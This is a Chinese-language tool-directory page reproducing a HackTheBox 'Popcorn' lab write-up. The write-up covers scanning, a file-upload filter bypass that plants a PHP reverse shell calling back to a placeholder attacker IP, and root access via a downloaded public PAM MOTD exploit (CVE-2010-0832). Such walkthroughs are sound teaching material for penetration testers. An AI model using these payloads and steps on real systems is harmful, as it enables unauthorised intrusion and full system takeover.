Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Popcorn-TJNULL-OSCP- — Popcorn HTB 写文,涵盖高级目录模糊测试、通过魔术数字/扩展名欺骗绕过文件上传(使用 Burp Suite),以及通过 CVE-2010-0832(PAM MOTD 文件篡改)进行权限提升。 | Kitploit
工具/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用模糊测试CTF渗透测试学习与教育实验室与实践
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

Popcorn HTB 写文,涵盖高级目录模糊测试、通过魔术数字/扩展名欺骗绕过文件上传(使用 Burp Suite),以及通过 CVE-2010-0832(PAM MOTD 文件篡改)进行权限提升。

23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

HackTheBox: Popcorn 渗透报告

日期: 2026年06月05日
难度: 简单
平台: HackTheBox
关键技术: 端口与服务枚举、目录模糊测试(Gobuster)、文件上传绕过、HTTP请求篡改(Burp Suite)、远程代码执行(RCE)、高级TTY Shell稳定化(Python)、本地内核/PAM漏洞利用(MOTD文件篡改)。


1. 侦察与枚举

端口扫描(快速侦察)

我们首先对所有65535个TCP端口进行一次快速扫描(-p-),以定位开放的入口点。我们使用 --min-rate 5000 来优化执行速度,并跳过DNS解析和ping探测,以简化审计环境中的流程:

root@kitploit:~
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

初始扫描可靠地发现了两个开放端口:端口 22(SSH) 和端口 80(HTTP)。

服务与漏洞扫描(深度探查)

接下来,我们对已识别的端口进行针对性深度扫描,以确定精确的服务版本,并运行Nmap的标准和基础漏洞脚本:

root@kitploit:~
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

从输出中,我们提取了关于目标环境的关键信息:

  • 端口 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2(表明是一个相当古老的Ubuntu Linux发行版)。
  • 端口 80/TCP (HTTP): Apache httpd 2.2.12

目录模糊测试(Gobuster)

在通过浏览器与Web应用交互之前,我们将目标IP地址添加到攻击机的 /etc/hosts 文件中,以清理域名映射并确保内部重定向能够正确解析:

root@kitploit:~
<VICTIM_IP>    popcorn.htb

然后,我们使用 gobuster 配合 DirBuster 的经典中型字典进行自动化隐藏目录发现:

root@kitploit:~
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

模糊测试阶段发现了目标Web服务器上的以下可访问路径:

  • /index(标准索引登陆页)。
  • /test(测试面板或开发信息文件)。
  • /torrent(一个功能齐全的Web平台,专门用于托管和共享种子文件)。
  • /response(内部响应页面)。

2. 初始访问媒介(Web漏洞利用与过滤器绕过)

探索 /torrent 目录后发现一个种子共享CMS。为了与上传功能交互,我们注册并登录了一个当场创建的有效账户。发布一个合法的 .torrent 文件后,该平台启用了编辑种子详情和上传宣传截图图像的选项。这个特定的表单成为了我们的主要攻击向量。

为了实现远程代码执行(RCE),我们经历了一系列测试阶段,使用 Burp Suite(Repeater) 分析后端行为:

尝试1:通过GET参数动态Webshell(语法错误)

我们截获截图上传请求,并将文件名修改为 exploit.php。我们尝试在文件体中插入一个经典的单行Webshell:

root@kitploit:~
<?php system($_GET['cmd']) ?>

结果: Web服务器返回了一个内部执行错误,原因是PHP指令末尾缺少分号 ;,导致执行流程中断。

尝试2:在上传URL中注入参数(方法失败)

我们将语法修正为 <?php system($_GET['cmd']); ?>,但由于请求是通过 POST(使用 multipart/form-data)发送的,我们尝试将命令直接传递到头部URL中(POST /torrent/upload_file.php?cmd=whoami)。 结果: Web服务器抛出以下错误:

root@kitploit:~
Cannot execute a blank command

分析: 在文件上传解析期间,后端完全忽略了URL中的 GET 变量。upload_file.php 脚本将文件写入磁盘,但立即尝试执行内部函数。由于在预期的body变量中没有收到任何内容,$_GET['cmd'] 被当作空值处理。

尝试3:双重扩展名(静态执行失败)

为了绕过检查文件是否为有效图片的基本扩展名过滤,我们将文件重命名为 innocent.php.png,并硬编码一个反向shell payload,使其不依赖外部参数:

root@kitploit:~
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

结果: 服务器返回成功 200 OK,并显示:

root@kitploit:~
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

分析: 虽然成功绕过了初始过滤器,但由于文件严格以 .png 扩展名结尾,Apache服务器将其视为普通静态图片。当浏览该文件时,浏览器仅以纯文本形式输出原始字节;Apache从未将文件传递给PHP解释器,这意味着我们的Netcat监听器从未收到连接。

尝试4:成功绕过(扩展名修改与魔术数字)

由于知道服务器需要解析 .php 扩展名以触发代码执行,我们反转了扩展名顺序(innocent.png.php),保持 Content-Type: image/png 头部不变,并在文件体开头添加PNG签名或魔术数字(‰PNG)以欺骗后端内容验证检查:

root@kitploit:~
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

结果: Web服务器干净地接受了文件,处理了尾部的扩展名,并将其保存到上传目录下,名为 innocent.php:

root@kitploit:~
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

触发远程代码执行(RCE)

由于上传脚本仅将文件存储到磁盘,而未在上传POST请求的上下文中执行它,我们触发一个独立调用以强制服务器读取它:

  1. 在攻击机上设置Netcat监听器:
root@kitploit:~
nc -lvnp 4444

  1. 通过直接访问上传文件的URL路径(通过浏览器或在Burp中使用干净的 GET 请求)来触发反向shell:
root@kitploit:~
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Apache服务器被迫处理该文件,检测到PHP标签,执行Bash payload,连接完美捕获到我们的监听器上,以 www-data 用户的身份授予初始访问权限。


3. 后渗透与TTY Shell稳定化

在收到shell后立即尝试提升权限,暴露了严重的环境限制:

root@kitploit:~
www-data@popcorn:/$ su root
su: must be run from a terminal

su 命令严格需要一个真正的交互式终端(TTY)来安全接收输入。尝试通过 python3 强制启用一个,显示在此旧版机器上未安装该程序(The program 'python3' is currently not installed)。

我们通过利用机器上存在的经典Python二进制文件(Python 2) 并重新配置攻击机终端描述符来绕过这一障碍:

root@kitploit:~
# 1. 使用旧版Python的绝对路径生成一个交互式shell
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. 将shell进程挂起到后台
Ctrl + Z

# 3. 在攻击机终端上,将键盘状态设置为原始模式,并将Netcat监听器放到前台
stty raw -echo; fg

# 4. 强制刷新屏幕并映射终端环境变量以支持历史记录和自动补全
reset xterm
export TERM=xterm
export SHELL=bash


4. 权限提升

本地系统枚举

我们检查受害机上运行的操作系统发行版和Linux内核版本:

root@kitploit:~
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux

www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l

操作系统指向一个老旧的Ubuntu发行版(Karmic Koala),其内核和核心软件包包含多个已知的本地权限提升漏洞。

利用PAM MOTD漏洞

我们识别出一个高度可行的攻击向量,涉及PAM的每日消息解析(Linux PAM 1.1.0 - MOTD文件篡改权限提升,跟踪编号为 CVE-2010-0832)。该漏洞允许本地用户在本地SSH认证操作期间通过不安全的符号链接处理来操纵 root 拥有的文件。

我们利用公开的漏洞利用脚本 14339.sh 来自动化攻击路径。

  1. 在攻击机上下载漏洞利用脚本,并启动一个基本的Python HTTP服务器来托管它:
root@kitploit:~
searchsploit -m linux/local/14339.sh
python3 -m http.server 80

  1. 从Popcorn上的稳定shell中,导航到 /tmp 目录(该目录授予全局读/写/执行权限),下载脚本并使其可执行:
root@kitploit:~
cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh

漏洞利用输出:

root@kitploit:~
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root

脚本成功完成执行,直接篡改了 /etc/passwd 中的本地用户数据库。

升级到Root

由于漏洞利用的内部工作原理,它并未更改原始的 root 用户帐户密码。相反,它在 /etc/passwd 文件的末尾注入了一个全新的、具有root权限的克隆用户。

我们通过读取用户文件的最后一行来确认这一点:

root@kitploit:~
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash

注意:0:0(UID/GID)配置赋予此帐户与root管理员相同的身份参数。

虽然使用密码 toor 运行 su root 会输出 Authentication failure 错误,因为原始root帐户未被修改,但我们稳定的Python TTY shell允许我们通过针对自定义克隆帐户来顺畅切换用户:

root@kitploit:~
www-data@popcorn:/tmp$ su toor
Password: toor

我们输入密码(toor),立即将我们的终端提示符转换为最高权限哈希标识符(#):

root@kitploit:~
root@popcorn:/tmp# whoami
toor

root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

目标机器已被完全攻破。我们现在拥有管理员权限,可以收集所需的标志哈希值:

  • 用户标志: /home/george/user.txt
  • 根标志: /root/root.txt
下载工具